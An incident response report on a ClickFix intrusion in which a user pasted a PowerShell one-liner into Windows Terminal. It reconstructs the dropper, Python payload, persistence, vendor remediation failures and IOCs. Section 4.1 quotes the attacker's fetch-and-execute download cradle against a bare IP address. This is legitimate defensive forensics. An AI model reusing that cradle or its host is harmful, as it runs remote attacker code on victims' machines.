Incident Response Report

1. Executive Summary

A managed EDR platform detected malicious Python interpreter activity on a Windows 11 workstation at a client site and automatically isolated the host. The vendor SOC generated an assisted remediation plan, which was approved and executed. The incident failed to clear — one persistence artifact remained flagged in the platform.

Manual investigation established that the vendor's remediation plan had been constructed from an incomplete picture of the intrusion. The vendor report identified a dropped installer as the origin of the compromise. Forensic reconstruction demonstrated that this installer was in fact a second-stage payload, downloaded roughly four and a half minutes after the actual initial access event.

The true entry vector was a ClickFix social engineering attack: the user was induced to paste an attacker-supplied PowerShell one-liner into Windows Terminal. This produced a chain of execution that included a batch dropper, a second command-and-control endpoint hosted on a compromised WordPress site, and a payload directory that the vendor telemetry never associated with the incident at all.

Three distinct failures were identified in the automated remediation, and a fourth persistence mechanism was discovered that appeared nowhere in the vendor's report. All were manually closed. Host-level remediation was completed and independently verified.

Key Outcomes

2. Environment

3. Attack Chain Reconstruction

All times local (UTC-5).

Dwell time with unrestricted network access: approximately 5 minutes.

The significance of this timeline is the ordering. The vendor report characterized setup.exe (08:17:14) as the installer that deployed the malware. The DNSDK directory was created at 08:14:29 — two minutes and forty-five seconds before setup.exe existed on disk, and its binary had already executed at 08:14:55. Two separate payload branches were deployed from a common parent that the vendor never observed.

4. Initial Access

4.1 Recovered command

The following was recovered verbatim from the user's PSReadLine console history file:

iex(irm http://158.94.211.92/std/?sid=1784812368939-xxxxxxxx -UseBasicParsing)

This is a standard PowerShell download cradle: Invoke-RestMethod retrieves a remote script, Invoke-Expression executes it in memory without writing to disk.

4.2 Analysis of the URL

Plain HTTP to a bare IPv4 address. No DNS resolution occurred at any point. This has direct operational consequence: DNS logging, DNS filtering, and protective-DNS controls provide zero visibility and zero protection against this stage. Firewall log searches for related activity must be conducted by IP address.

The sid parameter is a Unix millisecond timestamp. The value 1784812368939 decodes to 2026-07-23 13:12:48 UTC — 08:12:48 local, forty seconds before Windows Terminal first launched. This is a per-victim tracking identifier generated server-side when the lure page rendered. It establishes the moment the user encountered the lure and confirms the operator tracks victims individually.

4.3 Delivery mechanism determination

Two competing hypotheses were tested:

The Windows Terminal variant of ClickFix is a deliberate evolution. Security awareness training has historically focused on the Win+R Run dialog, and some organizations disable or monitor it. Directing the victim to Windows Terminal — a legitimate, modern, developer-facing application present by default on Windows 11 — evades both the training and the control. It also defeats RunMRU as a forensic artifact.

4.4 Logging gap

PowerShell Script Block Logging (Event ID 4104) did not capture the initial access command. A query of the PowerShell Operational log across the full incident window returned only Defender CIM module autoloads occurring at 08:24 — two minutes after detection, and unrelated to the intrusion.

PSReadLine console history was the sole source of recovery. This is a fragile dependency: PSReadLine history is user-writable, trivially deleted, and has a finite buffer. Had the operator issued a single cleanup command, the entire initial access vector would have been unrecoverable.

5. Stage 1 — slimer.bat

Recovered from %LOCALAPPDATA%\Temp\slimer.bat (2,002 bytes).

5.1 Observed behavior

5.2 The csc.exe finding

Prefetch showed csc.exe (the C# compiler) and cvtres.exe executing at 08:13:59. In isolation this is a significant indicator — runtime compilation is a well-established technique for building malicious assemblies in memory and evading file-based detection.

Analysis of the recovered dropper downgraded this finding. The Add-Type -MemberDefinition call compiles a trivial two-function P/Invoke wrapper around GetConsoleWindow and ShowWindow, used solely to hide the console window. This is a defense-evasion behavior, but it is not an in-memory malicious assembly. Documenting the downgrade matters: an unresolved "attacker compiled code in memory" note would have driven unnecessary escalation.

5.3 Why the artifacts survived

The dropper is written to delete C:\ProgramData\setup after the payload process exits. That directory was still present on disk at the time of investigation, which establishes that WaitForExit() never returned. Automated isolation at 08:22:28 and the subsequent reboot terminated the parent process before its cleanup routine could execute.

5.4 Scope limitation

slimer.bat accounts only for the setup.exe branch of the intrusion. It contains no logic that creates the DNSDK directory. Since DNSDK was written at 08:14:29 — before setup.exe existed — the original in-memory payload retrieved by the iex cradle necessarily contained a second branch that deployed that stage directly.

That parent script executed only in memory and was not recoverable. This limitation is stated explicitly rather than allowing the report to imply complete coverage of the intrusion.

6. Payload Analysis

6.1 C:\ProgramData\<32-hex-char-directory>\

A complete portable Python 3.11 runtime — interpreter, standard library archive, OpenSSL libraries, and compiled extension modules — deployed alongside:

• main.pyw (2.9 MB) — the malicious script, packed
• uaRyY.mip (1.6 MB) — encrypted configuration or secondary payload
• YkByDCFo.mus (8 bytes) — written at 08:17:43, likely a state or marker file

Randomized 32-character hexadecimal directory naming defeats static path-based detection and blocklisting.

6.2 %LOCALAPPDATA%\DNSDK\

Thirteen files. Naming conventions (DNSDK, Machine.db, Hub.Cache.dat, Device.dll, Platform.dll) were selected to resemble a legitimate vendor SDK or driver-support package.

Authenticode analysis:

The validly signed files are the standard Microsoft Visual C++ redistributable, which ships alongside anything compiled in Visual Studio. Their presence and signature status are not indicative in either direction — a point worth stating explicitly, since a signature-status column alone reads as "mostly legitimate" to a casual reviewer.

Version resource analysis — the decisive finding:

Version metadata was scraped from three unrelated commercial software products and applied to the malicious binaries. This is masquerading intended to survive casual inspection: an analyst spot-checking file properties sees plausible vendor names. The choice of "Vehicle Manager" is notable given the client's sector; whether that reflects deliberate targeting or coincidental selection cannot be determined from available evidence, and no conclusion is drawn.

6.3 Timestamp analysis — a rejected hypothesis

Initial directory listings showed LastWriteTime values ranging from 2024 through May 2026. Taken at face value, this suggested DNSDK predated the incident by months, which would have escalated scope from a single-day compromise to a potential long-dwell intrusion.

This hypothesis was tested and rejected. CreationTime analysis returned:

• Directory created 2026-07-23 08:14:29
• All 13 files created 2026-07-23 08:14:45

Archive extraction and packing routines preserve original LastWriteTime values while setting CreationTime to the moment of extraction. The correct artifact for "when did this arrive on this host" is CreationTime; LastWriteTime answers a different question — when the file was built — and conflating the two produces false conclusions in both directions.

6.4 Suspected desktop capture — a second rejected hypothesis

Three JPEG files between 0.5 MB and 1.5 MB were found in the user's temp directory within the incident window. Python-based infostealers commonly capture the desktop prior to exfiltration, and both timing and file size were consistent with that behavior.

Rejected on measurement. Image dimensions were approximately 2540×3306, 2543×3312, and 2519×3302 — US Letter at 300 DPI. Prefetch confirmed multifunction-printer software active on the host. These are scanner output, not screen captures. Had this not been checked, the report would have carried "confirmed desktop capture and exfiltration" — a finding that materially changes client notification obligations.

7. Persistence Inventory

Five persistence artifacts across two mechanism classes, both scoped to the user context. No SYSTEM-level or machine-wide persistence was established, which is consistent with a user-level infection that never achieved elevation.

7.1 The registry hive access problem

The initial registry query against the user's HKU\<SID> path returned "unable to find the specified registry key." This is ambiguous and easy to misread as confirmation that the key had been successfully deleted.

reg query HKU returned only .DEFAULT and the three service SIDs. The user's hive was not loaded, because no interactive login had occurred since the reboot. The Run key exists on every user profile by default; a query returning "not found" for a universally present key indicates a missing hive, not a missing value. Resolution was to mount the hive from disk:

reg load HKU\J "C:\Users\[USER]\NTUSER.DAT"

The CPU Metrics Server value was present. The vendor platform had reported this deletion as successful. This raises a question about the automated remediation's own execution context: if the user's hive was likewise unloaded when the platform ran its registry deletes, then the operation targeted a path that did not exist — and reported success regardless. Following any offline hive work, unmounting is mandatory:

[gc]::Collect(); reg unload HKU\J

Leaving the hive mounted holds NTUSER.DAT open and forces the user into a temporary profile at next login — converting a clean remediation into a visible service incident.

7.2 The undocumented scheduled task

A persistence sweep beyond the artifacts named in the vendor report identified a fifth mechanism: a scheduled task named CPU Metrics Server at the root task path, executing the DNSDK binary. This task appeared in none of the vendor's outputs. It was discovered only because the sweep enumerated tasks by execution path pattern rather than by the task names supplied in the vendor report:

Get-ScheduledTask | Where {$_.Actions.Execute -match 'ProgramData|AppData'}

8. Defense Evasion & Security Control Status

Microsoft Defender was verified fully operational throughout:

This is a meaningful negative finding. Defender exclusion abuse is among the most common defense-evasion steps in commodity intrusions, and its absence here indicates the operator either never attempted it or lacked the elevation to do so. Combined with the absence of machine-wide persistence, this supports the assessment that the intrusion remained user-scoped throughout. Evasion techniques that were observed operated at the script layer — string-splitting to defeat command-line matching, hidden window execution, certificate validation bypass, masqueraded file metadata, and randomized directory naming.

9. Indicators of Compromise

9.1 Network

9.2 Host

9.3 Hashes (SHA256)

9e70fe7eaaa5292b96991c8f2f8f489b1e5cfe2fb15ba81cd001faff32b06659  setup.exe
14a89eda72e385f76bf15a7c4fd539c48837cf5df444a16f28c5b94f29799550  pythonw.exe
072fc925ea0f0eec736edebc881024781f36b8e6e15e761475934bfe71e20eb8  CPUMetricsServer.exe

9.4 Behavioral

• Windows Terminal executing for the first time on a non-technical user's workstation
• csc.exe / cvtres.exe spawned in a PowerShell process lineage
• Python interpreter executing from a randomized ProgramData subdirectory
• Scheduled tasks or Run keys at root/user scope targeting %LOCALAPPDATA% or %PROGRAMDATA% paths
• Executable content served with image file extensions

10. MITRE ATT&CK Mapping

11. Remediation Actions

11.1 Executed by vendor SOC (verified during investigation)

• Terminated pythonw.exe
• Deleted scheduled tasks IAmNotWorthItg and RickisUpdate, including task definition files
• Deleted registry Run value DNApp
• Deleted CPUMetricsServer.exe
• Host reboot

11.2 Executed manually

11.3 Verification performed

12. Detection & Response Gaps Identified

13. Recommendations

13.1 Immediate — this incident

1. Block 158.94.211.92 and aerobicperl.com at the perimeter firewall.
2. Search firewall logs by IP address for any other internal host contacting the stage 1 C2. DNS logs will not contain this indicator.
3. Treat the affected user's credentials as compromised: password reset, session and refresh token revocation, mailbox rule and forwarding audit, sign-in log review from the time of execution forward, and reset of any credentials stored in the browser.
4. Submit the reconstructed timeline and both C2 indicators to the EDR vendor SOC for detection tuning.

13.2 Assessment on exfiltration

Exfiltration is unconfirmed in both directions. No direct evidence of data theft was recovered, and no evidence was found that would rule it out. The payload had approximately five minutes of unrestricted network access before isolation, which is sufficient for credential and browser data collection and transmission. The absence of evidence is expected rather than reassuring: exfiltration over HTTPS from a process that was subsequently terminated leaves minimal host-side artifact. Credential remediation proceeds on the assumption of compromise, which is the only defensible posture given the capability profile of this malware family.

13.3 Preventive controls

13.4 Process

Verify automated remediation independently. Three separate defects in a single vendor-generated plan establish that plan completion is not equivalent to host remediation.

Enumerate by behavior, not by name. The undocumented scheduled task was found by matching execution paths against ProgramData and AppData, not by checking the tasks the vendor listed. Verification methodology must be independent of the tool being verified, or it inherits that tool's blind spots.

Reconstruct the full timeline before accepting a stated root cause. Prefetch CreationTime analysis is inexpensive and definitive. Here it moved the incident's origin four and a half minutes earlier and surfaced an entire attack stage, a second C2 endpoint, and a second payload directory that would otherwise have gone unaddressed.

14. Analytical Notes

Several working hypotheses were formed and subsequently rejected during this investigation. They are documented because the reasoning that discarded them is part of the method, and because a report presenting only confirmed conclusions misrepresents how the conclusions were reached.

The pattern worth extracting: in four of five cases, a cheap and specific test converted an alarming hypothesis into a determination. The cost of each test was seconds. The cost of carrying any one of them into a client report unverified would have been an incorrect scope, an unnecessary escalation, or a notification obligation asserted without basis.

15. Assessment Summary